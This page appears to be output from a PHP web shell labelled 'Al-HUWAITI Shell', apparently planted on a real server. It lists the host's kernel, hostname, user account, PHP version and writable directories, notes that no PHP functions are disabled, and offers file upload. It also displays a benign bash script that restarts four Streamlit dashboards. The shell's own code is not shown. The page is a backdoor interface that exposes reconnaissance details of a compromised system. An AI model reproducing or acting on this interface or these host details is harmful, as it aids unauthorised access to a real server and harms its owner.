Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux dedi-14684855.grupobig.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : grupo692 ( 1004)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /home/grupo692/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/grupo692/start_dashboards.sh
#!/bin/bash

echo "==== $(date '+%F %T') - Iniciando reinício dos dashboards ====" >> /home/grupo692/dashboard_geral.log

# Encerra qualquer processo anterior do streamlit
pkill -f streamlit

sleep 2

echo "Encerrando dashboards..." >> /home/grupo692/dashboard_geral.log
echo "Reiniciando dashboards..." >> /home/grupo692/dashboard_geral.log

# Reiniciar os dashboards com nohup e ambiente virtual correto
nohup /home/grupo692/appstigrupobig/venv/bin/streamlit run /home/grupo692/appstigrupobig/dashBarreiras.py --server.port=8504 --server.address=0.0.0.0 &
nohup /home/grupo692/appstigrupobig/venv/bin/streamlit run /home/grupo692/appstigrupobig/dashSFilho.py --server.port=8505 --server.address=0.0.0.0 &
nohup /home/grupo692/appstigrupobig/venv/bin/streamlit run /home/grupo692/appstigrupobig/dashCajazeiras.py --server.port=8506 --server.address=0.0.0.0 &
nohup /home/grupo692/appstigrupobig/venv/bin/streamlit run /home/grupo692/appstigrupobig/dashFSA.py --server.port=8507 --server.address=0.0.0.0 &

echo "==== $(date '+%F %T') - Dashboards reiniciados com sucesso ====" >> /home/grupo692/dashboard_geral.log


Al-HUWAITI Shell